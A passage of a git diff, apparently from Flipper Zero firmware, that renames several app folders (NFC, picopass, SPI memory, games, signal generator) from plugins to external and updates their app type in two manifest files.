to applications/external/music_player/icons/music_10px.png diff --git a/applications/plugins/music_player/music_player.c b/applications/external/music_player/music_player.c similarity index 100% rename from applications/plugins/music_player/music_player.c rename to applications/external/music_player/music_player.c diff --git a/applications/plugins/music_player/music_player_cli.c b/applications/external/music_player/music_player_cli.c similarity index 100% rename from applications/plugins/music_player/music_player_cli.c rename to applications/external/music_player/music_player_cli.c diff --git a/applications/plugins/music_player/music_player_worker.c b/applications/external/music_player/music_player_worker.c similarity index 100% rename from applications/plugins/music_player/music_player_worker.c rename to applications/external/music_player/music_player_worker.c diff --git a/applications/plugins/music_player/music_player_worker.h b/applications/external/music_player/music_player_worker.h similarity index 100% rename from applications/plugins/music_player/music_player_worker.h rename to applications/external/music_player/music_player_worker.h diff --git a/applications/plugins/nfc_magic/application.fam b/applications/external/nfc_magic/application.fam similarity index 100% rename from applications/plugins/nfc_magic/application.fam rename to applications/external/nfc_magic/application.fam diff --git a/applications/plugins/nfc_magic/assets/DolphinCommon_56x48.png b/applications/external/nfc_magic/assets/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/nfc_magic/assets/DolphinCommon_56x48.png rename to applications/external/nfc_magic/assets/DolphinCommon_56x48.png diff --git a/applications/plugins/nfc_magic/assets/DolphinNice_96x59.png b/applications/external/nfc_magic/assets/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/nfc_magic/assets/DolphinNice_96x59.png rename to applications/external/nfc_magic/assets/DolphinNice_96x59.png diff --git a/applications/plugins/nfc_magic/assets/Loading_24.png b/applications/external/nfc_magic/assets/Loading_24.png similarity index 100% rename from applications/plugins/nfc_magic/assets/Loading_24.png rename to applications/external/nfc_magic/assets/Loading_24.png diff --git a/applications/plugins/nfc_magic/assets/NFC_manual_60x50.png b/applications/external/nfc_magic/assets/NFC_manual_60x50.png similarity index 100% rename from applications/plugins/nfc_magic/assets/NFC_manual_60x50.png rename to applications/external/nfc_magic/assets/NFC_manual_60x50.png diff --git a/applications/plugins/nfc_magic/lib/magic/magic.c b/applications/external/nfc_magic/lib/magic/magic.c similarity index 100% rename from applications/plugins/nfc_magic/lib/magic/magic.c rename to applications/external/nfc_magic/lib/magic/magic.c diff --git a/applications/plugins/nfc_magic/lib/magic/magic.h b/applications/external/nfc_magic/lib/magic/magic.h similarity index 100% rename from applications/plugins/nfc_magic/lib/magic/magic.h rename to applications/external/nfc_magic/lib/magic/magic.h diff --git a/applications/plugins/nfc_magic/nfc_magic.c b/applications/external/nfc_magic/nfc_magic.c similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic.c rename to applications/external/nfc_magic/nfc_magic.c diff --git a/applications/plugins/nfc_magic/nfc_magic.h b/applications/external/nfc_magic/nfc_magic.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic.h rename to applications/external/nfc_magic/nfc_magic.h diff --git a/applications/plugins/nfc_magic/nfc_magic_i.h b/applications/external/nfc_magic/nfc_magic_i.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_i.h rename to applications/external/nfc_magic/nfc_magic_i.h diff --git a/applications/plugins/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker.c rename to applications/external/nfc_magic/nfc_magic_worker.c diff --git a/applications/plugins/nfc_magic/nfc_magic_worker.h b/applications/external/nfc_magic/nfc_magic_worker.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker.h rename to applications/external/nfc_magic/nfc_magic_worker.h diff --git a/applications/plugins/nfc_magic/nfc_magic_worker_i.h b/applications/external/nfc_magic/nfc_magic_worker_i.h similarity index 100% rename from applications/plugins/nfc_magic/nfc_magic_worker_i.h rename to applications/external/nfc_magic/nfc_magic_worker_i.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene.c b/applications/external/nfc_magic/scenes/nfc_magic_scene.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene.h b/applications/external/nfc_magic/scenes/nfc_magic_scene.h similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene.h rename to applications/external/nfc_magic/scenes/nfc_magic_scene.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_check.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_check.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_check.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_config.h b/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_config.h rename to applications/external/nfc_magic/scenes/nfc_magic_scene_config.h diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_file_select.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_file_select.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_magic_info.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_magic_info.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_not_magic.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_not_magic.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_start.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_start.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_start.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_success.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_success.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_success.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_confirm.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_confirm.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_write_fail.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c diff --git a/applications/plugins/nfc_magic/scenes/nfc_magic_scene_wrong_card.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c similarity index 100% rename from applications/plugins/nfc_magic/scenes/nfc_magic_scene_wrong_card.c rename to applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c diff --git a/applications/plugins/picopass/125_10px.png b/applications/external/picopass/125_10px.png similarity index 100% rename from applications/plugins/picopass/125_10px.png rename to applications/external/picopass/125_10px.png diff --git a/applications/plugins/picopass/application.fam b/applications/external/picopass/application.fam similarity index 100% rename from applications/plugins/picopass/application.fam rename to applications/external/picopass/application.fam diff --git a/applications/plugins/picopass/helpers/iclass_elite_dict.c b/applications/external/picopass/helpers/iclass_elite_dict.c similarity index 100% rename from applications/plugins/picopass/helpers/iclass_elite_dict.c rename to applications/external/picopass/helpers/iclass_elite_dict.c diff --git a/applications/plugins/picopass/helpers/iclass_elite_dict.h b/applications/external/picopass/helpers/iclass_elite_dict.h similarity index 100% rename from applications/plugins/picopass/helpers/iclass_elite_dict.h rename to applications/external/picopass/helpers/iclass_elite_dict.h diff --git a/applications/plugins/picopass/icons/DolphinMafia_115x62.png b/applications/external/picopass/icons/DolphinMafia_115x62.png similarity index 100% rename from applications/plugins/picopass/icons/DolphinMafia_115x62.png rename to applications/external/picopass/icons/DolphinMafia_115x62.png diff --git a/applications/plugins/picopass/icons/DolphinNice_96x59.png b/applications/external/picopass/icons/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/picopass/icons/DolphinNice_96x59.png rename to applications/external/picopass/icons/DolphinNice_96x59.png diff --git a/applications/plugins/picopass/icons/Nfc_10px.png b/applications/external/picopass/icons/Nfc_10px.png similarity index 100% rename from applications/plugins/picopass/icons/Nfc_10px.png rename to applications/external/picopass/icons/Nfc_10px.png diff --git a/applications/plugins/picopass/icons/RFIDDolphinReceive_97x61.png b/applications/external/picopass/icons/RFIDDolphinReceive_97x61.png similarity index 100% rename from applications/plugins/picopass/icons/RFIDDolphinReceive_97x61.png rename to applications/external/picopass/icons/RFIDDolphinReceive_97x61.png diff --git a/applications/plugins/picopass/icons/RFIDDolphinSend_97x61.png b/applications/external/picopass/icons/RFIDDolphinSend_97x61.png similarity index 100% rename from applications/plugins/picopass/icons/RFIDDolphinSend_97x61.png rename to applications/external/picopass/icons/RFIDDolphinSend_97x61.png diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipher.c b/applications/external/picopass/lib/loclass/optimized_cipher.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipher.c rename to applications/external/picopass/lib/loclass/optimized_cipher.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipher.h b/applications/external/picopass/lib/loclass/optimized_cipher.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipher.h rename to applications/external/picopass/lib/loclass/optimized_cipher.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipherutils.c b/applications/external/picopass/lib/loclass/optimized_cipherutils.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipherutils.c rename to applications/external/picopass/lib/loclass/optimized_cipherutils.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_cipherutils.h b/applications/external/picopass/lib/loclass/optimized_cipherutils.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_cipherutils.h rename to applications/external/picopass/lib/loclass/optimized_cipherutils.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_elite.c b/applications/external/picopass/lib/loclass/optimized_elite.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_elite.c rename to applications/external/picopass/lib/loclass/optimized_elite.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_elite.h b/applications/external/picopass/lib/loclass/optimized_elite.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_elite.h rename to applications/external/picopass/lib/loclass/optimized_elite.h diff --git a/applications/plugins/picopass/lib/loclass/optimized_ikeys.c b/applications/external/picopass/lib/loclass/optimized_ikeys.c similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_ikeys.c rename to applications/external/picopass/lib/loclass/optimized_ikeys.c diff --git a/applications/plugins/picopass/lib/loclass/optimized_ikeys.h b/applications/external/picopass/lib/loclass/optimized_ikeys.h similarity index 100% rename from applications/plugins/picopass/lib/loclass/optimized_ikeys.h rename to applications/external/picopass/lib/loclass/optimized_ikeys.h diff --git a/applications/plugins/picopass/picopass.c b/applications/external/picopass/picopass.c similarity index 100% rename from applications/plugins/picopass/picopass.c rename to applications/external/picopass/picopass.c diff --git a/applications/plugins/picopass/picopass.h b/applications/external/picopass/picopass.h similarity index 100% rename from applications/plugins/picopass/picopass.h rename to applications/external/picopass/picopass.h diff --git a/applications/plugins/picopass/picopass_device.c b/applications/external/picopass/picopass_device.c similarity index 100% rename from applications/plugins/picopass/picopass_device.c rename to applications/external/picopass/picopass_device.c diff --git a/applications/plugins/picopass/picopass_device.h b/applications/external/picopass/picopass_device.h similarity index 100% rename from applications/plugins/picopass/picopass_device.h rename to applications/external/picopass/picopass_device.h diff --git a/applications/plugins/picopass/picopass_i.h b/applications/external/picopass/picopass_i.h similarity index 100% rename from applications/plugins/picopass/picopass_i.h rename to applications/external/picopass/picopass_i.h diff --git a/applications/plugins/picopass/picopass_keys.c b/applications/external/picopass/picopass_keys.c similarity index 100% rename from applications/plugins/picopass/picopass_keys.c rename to applications/external/picopass/picopass_keys.c diff --git a/applications/plugins/picopass/picopass_keys.h b/applications/external/picopass/picopass_keys.h similarity index 100% rename from applications/plugins/picopass/picopass_keys.h rename to applications/external/picopass/picopass_keys.h diff --git a/applications/plugins/picopass/picopass_worker.c b/applications/external/picopass/picopass_worker.c similarity index 100% rename from applications/plugins/picopass/picopass_worker.c rename to applications/external/picopass/picopass_worker.c diff --git a/applications/plugins/picopass/picopass_worker.h b/applications/external/picopass/picopass_worker.h similarity index 100% rename from applications/plugins/picopass/picopass_worker.h rename to applications/external/picopass/picopass_worker.h diff --git a/applications/plugins/picopass/picopass_worker_i.h b/applications/external/picopass/picopass_worker_i.h similarity index 100% rename from applications/plugins/picopass/picopass_worker_i.h rename to applications/external/picopass/picopass_worker_i.h diff --git a/applications/plugins/picopass/rfal_picopass.c b/applications/external/picopass/rfal_picopass.c similarity index 100% rename from applications/plugins/picopass/rfal_picopass.c rename to applications/external/picopass/rfal_picopass.c diff --git a/applications/plugins/picopass/rfal_picopass.h b/applications/external/picopass/rfal_picopass.h similarity index 100% rename from applications/plugins/picopass/rfal_picopass.h rename to applications/external/picopass/rfal_picopass.h diff --git a/applications/plugins/picopass/scenes/picopass_scene.c b/applications/external/picopass/scenes/picopass_scene.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene.c rename to applications/external/picopass/scenes/picopass_scene.c diff --git a/applications/plugins/picopass/scenes/picopass_scene.h b/applications/external/picopass/scenes/picopass_scene.h similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene.h rename to applications/external/picopass/scenes/picopass_scene.h diff --git a/applications/plugins/picopass/scenes/picopass_scene_card_menu.c b/applications/external/picopass/scenes/picopass_scene_card_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_card_menu.c rename to applications/external/picopass/scenes/picopass_scene_card_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_config.h b/applications/external/picopass/scenes/picopass_scene_config.h similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_config.h rename to applications/external/picopass/scenes/picopass_scene_config.h diff --git a/applications/plugins/picopass/scenes/picopass_scene_delete.c b/applications/external/picopass/scenes/picopass_scene_delete.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_delete.c rename to applications/external/picopass/scenes/picopass_scene_delete.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_delete_success.c b/applications/external/picopass/scenes/picopass_scene_delete_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_delete_success.c rename to applications/external/picopass/scenes/picopass_scene_delete_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_device_info.c b/applications/external/picopass/scenes/picopass_scene_device_info.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_device_info.c rename to applications/external/picopass/scenes/picopass_scene_device_info.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_file_select.c b/applications/external/picopass/scenes/picopass_scene_file_select.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_file_select.c rename to applications/external/picopass/scenes/picopass_scene_file_select.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_key_menu.c b/applications/external/picopass/scenes/picopass_scene_key_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_key_menu.c rename to applications/external/picopass/scenes/picopass_scene_key_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_card.c b/applications/external/picopass/scenes/picopass_scene_read_card.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_card.c rename to applications/external/picopass/scenes/picopass_scene_read_card.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_card_success.c b/applications/external/picopass/scenes/picopass_scene_read_card_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_card_success.c rename to applications/external/picopass/scenes/picopass_scene_read_card_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_read_factory_success.c b/applications/external/picopass/scenes/picopass_scene_read_factory_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_read_factory_success.c rename to applications/external/picopass/scenes/picopass_scene_read_factory_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_save_name.c b/applications/external/picopass/scenes/picopass_scene_save_name.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_save_name.c rename to applications/external/picopass/scenes/picopass_scene_save_name.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_save_success.c b/applications/external/picopass/scenes/picopass_scene_save_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_save_success.c rename to applications/external/picopass/scenes/picopass_scene_save_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_saved_menu.c b/applications/external/picopass/scenes/picopass_scene_saved_menu.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_saved_menu.c rename to applications/external/picopass/scenes/picopass_scene_saved_menu.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_start.c b/applications/external/picopass/scenes/picopass_scene_start.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_start.c rename to applications/external/picopass/scenes/picopass_scene_start.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_card.c b/applications/external/picopass/scenes/picopass_scene_write_card.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_card.c rename to applications/external/picopass/scenes/picopass_scene_write_card.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_card_success.c b/applications/external/picopass/scenes/picopass_scene_write_card_success.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_card_success.c rename to applications/external/picopass/scenes/picopass_scene_write_card_success.c diff --git a/applications/plugins/picopass/scenes/picopass_scene_write_key.c b/applications/external/picopass/scenes/picopass_scene_write_key.c similarity index 100% rename from applications/plugins/picopass/scenes/picopass_scene_write_key.c rename to applications/external/picopass/scenes/picopass_scene_write_key.c diff --git a/applications/plugins/signal_generator/application.fam b/applications/external/signal_generator/application.fam similarity index 78% rename from applications/plugins/signal_generator/application.fam rename to applications/external/signal_generator/application.fam index 60f8deffb..094e784cc 100644 --- a/applications/plugins/signal_generator/application.fam +++ b/applications/external/signal_generator/application.fam @@ -1,9 +1,8 @@ App( appid="signal_generator", name="Signal Generator", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="signal_gen_app", - cdefines=["APP_SIGNAL_GEN"], requires=["gui"], stack_size=1 * 1024, order=50, diff --git a/applications/plugins/signal_generator/icons/SmallArrowDown_3x5.png b/applications/external/signal_generator/icons/SmallArrowDown_3x5.png similarity index 100% rename from applications/plugins/signal_generator/icons/SmallArrowDown_3x5.png rename to applications/external/signal_generator/icons/SmallArrowDown_3x5.png diff --git a/applications/plugins/signal_generator/icons/SmallArrowUp_3x5.png b/applications/external/signal_generator/icons/SmallArrowUp_3x5.png similarity index 100% rename from applications/plugins/signal_generator/icons/SmallArrowUp_3x5.png rename to applications/external/signal_generator/icons/SmallArrowUp_3x5.png diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene.c b/applications/external/signal_generator/scenes/signal_gen_scene.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene.c rename to applications/external/signal_generator/scenes/signal_gen_scene.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene.h b/applications/external/signal_generator/scenes/signal_gen_scene.h similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene.h rename to applications/external/signal_generator/scenes/signal_gen_scene.h diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_config.h b/applications/external/signal_generator/scenes/signal_gen_scene_config.h similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_config.h rename to applications/external/signal_generator/scenes/signal_gen_scene_config.h diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_mco.c b/applications/external/signal_generator/scenes/signal_gen_scene_mco.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_mco.c rename to applications/external/signal_generator/scenes/signal_gen_scene_mco.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_pwm.c b/applications/external/signal_generator/scenes/signal_gen_scene_pwm.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_pwm.c rename to applications/external/signal_generator/scenes/signal_gen_scene_pwm.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_start.c b/applications/external/signal_generator/scenes/signal_gen_scene_start.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_start.c rename to applications/external/signal_generator/scenes/signal_gen_scene_start.c diff --git a/applications/plugins/signal_generator/signal_gen_10px.png b/applications/external/signal_generator/signal_gen_10px.png similarity index 100% rename from applications/plugins/signal_generator/signal_gen_10px.png rename to applications/external/signal_generator/signal_gen_10px.png diff --git a/applications/plugins/signal_generator/signal_gen_app.c b/applications/external/signal_generator/signal_gen_app.c similarity index 100% rename from applications/plugins/signal_generator/signal_gen_app.c rename to applications/external/signal_generator/signal_gen_app.c diff --git a/applications/plugins/signal_generator/signal_gen_app_i.h b/applications/external/signal_generator/signal_gen_app_i.h similarity index 100% rename from applications/plugins/signal_generator/signal_gen_app_i.h rename to applications/external/signal_generator/signal_gen_app_i.h diff --git a/applications/plugins/signal_generator/views/signal_gen_pwm.c b/applications/external/signal_generator/views/signal_gen_pwm.c similarity index 100% rename from applications/plugins/signal_generator/views/signal_gen_pwm.c rename to applications/external/signal_generator/views/signal_gen_pwm.c diff --git a/applications/plugins/signal_generator/views/signal_gen_pwm.h b/applications/external/signal_generator/views/signal_gen_pwm.h similarity index 100% rename from applications/plugins/signal_generator/views/signal_gen_pwm.h rename to applications/external/signal_generator/views/signal_gen_pwm.h diff --git a/applications/plugins/snake_game/application.fam b/applications/external/snake_game/application.fam similarity index 75% rename from applications/plugins/snake_game/application.fam rename to applications/external/snake_game/application.fam index d55f53bb1..c736a4ddc 100644 --- a/applications/plugins/snake_game/application.fam +++ b/applications/external/snake_game/application.fam @@ -1,9 +1,8 @@ App( appid="snake_game", name="Snake Game", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="snake_game_app", - cdefines=["APP_SNAKE_GAME"], requires=["gui"], stack_size=1 * 1024, order=30, diff --git a/applications/plugins/snake_game/snake_10px.png b/applications/external/snake_game/snake_10px.png similarity index 100% rename from applications/plugins/snake_game/snake_10px.png rename to applications/external/snake_game/snake_10px.png diff --git a/applications/plugins/snake_game/snake_game.c b/applications/external/snake_game/snake_game.c similarity index 100% rename from applications/plugins/snake_game/snake_game.c rename to applications/external/snake_game/snake_game.c diff --git a/applications/plugins/spi_mem_manager/application.fam b/applications/external/spi_mem_manager/application.fam similarity index 100% rename from applications/plugins/spi_mem_manager/application.fam rename to applications/external/spi_mem_manager/application.fam diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_01.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_01.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_02.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_02.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_03.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_03.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_rate b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_rate rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate diff --git a/applications/plugins/spi_mem_manager/images/Dip8_10px.png b/applications/external/spi_mem_manager/images/Dip8_10px.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Dip8_10px.png rename to applications/external/spi_mem_manager/images/Dip8_10px.png diff --git a/applications/plugins/spi_mem_manager/images/Dip8_32x36.png b/applications/external/spi_mem_manager/images/Dip8_32x36.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Dip8_32x36.png rename to applications/external/spi_mem_manager/images/Dip8_32x36.png diff --git a/applications/plugins/spi_mem_manager/images/DolphinMafia_115x62.png b/applications/external/spi_mem_manager/images/DolphinMafia_115x62.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/DolphinMafia_115x62.png rename to applications/external/spi_mem_manager/images/DolphinMafia_115x62.png diff --git a/applications/plugins/spi_mem_manager/images/DolphinNice_96x59.png b/applications/external/spi_mem_manager/images/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/DolphinNice_96x59.png rename to applications/external/spi_mem_manager/images/DolphinNice_96x59.png diff --git a/applications/plugins/spi_mem_manager/images/SDQuestion_35x43.png b/applications/external/spi_mem_manager/images/SDQuestion_35x43.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/SDQuestion_35x43.png rename to applications/external/spi_mem_manager/images/SDQuestion_35x43.png diff --git a/applications/plugins/spi_mem_manager/images/Wiring_SPI_128x64.png b/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Wiring_SPI_128x64.png rename to applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_arr.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_arr.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_i.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_i.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_modes.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_modes.c rename to 